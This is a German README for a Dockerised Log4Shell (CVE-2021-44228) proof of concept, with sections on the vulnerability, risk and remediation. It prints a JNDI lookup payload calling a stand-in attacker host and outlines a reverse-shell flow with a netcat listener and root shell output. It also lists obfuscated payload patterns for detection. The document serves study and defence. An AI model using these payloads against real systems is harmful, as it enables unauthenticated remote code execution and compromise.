Log4Shell (CVE-2021-44228) PoC
Zielsetzung
Reproduzieren, ausnutzen und beheben einer bekannten kritischen CVE in einer Docker-Umgebung.
Dieses PoC demonstriert CVE-2021-44228 (Log4Shell) in einer Spring Boot-Anwendung.
1. Schwachstellenbeschreibung
CVE: 2021-44228
CVSS: 10.0 (Kritisch)
Betroffene Komponente: Apache Log4j (<= 2.14.1)
So funktioniert das Paket
- Log4j ist eine beliebte Java-Logging-Bibliothek.
- Es unterstützt Lookups (
${...}), um Werte in Logmeldungen dynamisch aufzulösen.
- Ein solcher Lookup ist JNDI, das Werte über LDAP abrufen kann.
So funktioniert die Schwachstelle
- Der Angreifer vergiftet die Opferanwendung mit einer bösartigen JNDI-Lookup-Zeichenfolge wie
${jndi:ldap://attacker.com:1389/a}.
- Die Opferanwendung mit der anfälligen Log4j-Version wertet die bösartige Zeichenfolge beim Loggen aus.
- Dies löst eine JNDI-Anfrage an den vom Angreifer kontrollierten LDAP-Server aus.
- Der LDAP-Server antwortet mit einer bösartigen Referenz auf externen Java-Bytecode.
- Die Opfer-JVM lädt den Bytecode und führt ihn aus, was zu Remote Code Execution (RCE) führt.
So funktioniert der Exploit
- Die Opfer-App protokolliert vom Angreifer bereitgestellte Eingaben aus einem HTTP-Header.
- Der LDAP-Server des Angreifers antwortet mit einer Referenz auf
Exploit.class.
- Das Opfer ruft
Exploit.class über HTTP ab.
- Der statische Initialisierer in
Exploit läuft und erzeugt eine Reverse-Shell zurück zum Angreifer.
2. Risiko
- Auswirkung: Nicht authentifizierte RCE – höchstmöglicher Schweregrad.
- Wer/was ist gefährdet:
- Jede Java-Anwendung, die Log4j <= 2.14.1 verwendet.
- Internetzugängliche und interne Dienste, die benutzergesteuerte Eingaben protokollieren (z. B. HTTP-Header).
- Konsequenzen:
- Systemkompromittierung (Shell-Zugriff).
- Datenexfiltration.
- Pivoting in interne Netzwerke.
- Umgehung von Perimeter-Verteidigungen (Angriffe über interne Dienste).
3. Proof of Concept
Voraussetzungen
- docker + docker-compose
- netcat
- make
Erstellen und starten
Exploit
- Starten Sie einen netcat-Listener:
- Exploit auslösen:
- Netcat empfängt eine Reverse-Shell vom Opfer:
/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...
4. Behebung
Bevorzugte Lösung
- Upgrade auf Log4j 2.17.1 oder höher.
- Dies ist die einzige vollständige und langfristige Lösung. Frühere Versionen behoben teilweise, ließen jedoch noch Schwachstellen offen:
make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell
Zwischenlösungen (falls Upgrade nicht möglich)
- Zeit gewinnen
- Beschränken Sie eingehende Exploit-Zeichenfolgen (
${jndi:-Muster) mit einer WAF oder Middleware.
- Beschränken Sie ausgehendes LDAP von Anwendungsservern mit Egress-Filterung.
- Lookups deaktivieren:
-Dlog4j2.formatMsgNoLookups=true
- JVM härten:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
Operative Maßnahmen
- Abhängigkeiten und Laufzeit auditieren
- Erstellen Sie eine SBOM (
gradle dependencies, Snyk, Wiz, etc.).
- Durchsuchen Sie bereitgestellte Images/Server nach
log4j-core-*.jar, einschließlich fat JARs.
- Triagieren und priorisieren Sie Maßnahmen für die riskantesten Workloads.
- Überwachen & erkennen
- Achten Sie auf Exploit-Versuche in Logs (
${jndi:...}, ${${lower:j}ndi:...}, etc.).
- Überwachen Sie ausgehenden LDAP-Verkehr auf Callbacks.
- Behandeln Sie Funde als potenzielle Kompromittierungen, eskalieren Sie zur Incident-Response (forensische Untersuchung, Entfernung bösartiger Artefakte, Rotation von Geheimnissen, etc.).
- Hersteller-Patches
- Verfolgen Sie Hersteller-Advisories (z. B. Elasticsearch) – viele liefern gebündeltes Log4j aus.
- Wenden Sie bereitgestellte Hotfixes oder Workarounds an, bis offizielle Patches verfügbar sind.
- Strategische Verbesserungen
- Durchsetzen einer „Standardmäßig verweigern“-Richtlinie für die Filterung ausgehenden Datenverkehrs.
- Erzwingen Sie Dependency Scanning in CI/CD.
- Formalisieren Sie Response-Playbooks, damit Teams genau wissen, was bei der nächsten „10.0 CVSS“-Schwachstelle zu tun ist.
- Führen Sie Resilienzübungen/Tabletops durch, um die Bereitschaft für einen „neuen Log4Shell-Klasse“-Vorfall zu testen.
5. Referenzen